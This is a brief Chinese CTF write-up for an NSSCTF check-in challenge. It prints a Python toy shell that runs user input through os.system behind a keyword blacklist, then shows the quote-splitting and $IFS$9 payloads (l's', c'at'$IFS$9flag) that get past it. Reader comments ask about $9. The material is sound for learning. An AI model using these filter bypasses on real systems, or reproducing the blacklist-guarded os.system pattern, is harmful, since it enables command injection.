nc签到
以为直接nc连接就可以
ctf@ctf-PC:~/Downloads$ nc 1.14.71.254 28184 (( "####@@!!$$ )) `#####@@!$$` )) (( '####@!!$: (( ,####@!!$: )) .###@!!$: `##@@!$: `#@!!$ !@# `#@!$: @#$ #$ `#@!$: !@! '@!$: '`\ "!$: /`' '\ '!: /' "\ : /" -."-/\\-."//.-"/:`\."-.JrS"."-=_\ " -."-.\"-."//.-".`-."_\-.".-".-// My_shell_ProVersion ls
发现什么都没有。。查看附件,发现是python的源码
import os art = ''' (( "####@@!!$$ )) `#####@@!$$` )) (( '####@!!$: (( ,####@!!$: )) .###@!!$: `##@@!$: `#@!!$ !@# `#@!$: @#$ #$ `#@!$: !@! '@!$: '`\ "!$: /`' '\ '!: /' "\ : /" -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\ " -."-.\\"-."//.-".`-."_\\-.".-\".-//''' print(art) print("My_shell_ProVersion") blacklist = ['cat','ls',' ','cd','echo','<','${IFS}'] while True: command = input() for i in blacklist: if i in command: exit(0) os.system(command)
过滤了空格、ls、cat、<等,可以使用引号截断绕过,
My_shell_ProVersion pwd / l's' bin boot dev etc flag home lib lib64 main.py media mnt opt proc root run run.sh sbin srv sys tmp usr var c'at'$IFS$9flag NSSCTF{72d693da-****-****-****-52045a5a03ed}
理论每个环境的flag应该是不一样的,保险起见,打个码。

$9,师傅这是linux 的知识吗?有推荐的博客文章或者视频学习的吗
师傅你好,$9什么意思呢,半天没有搞懂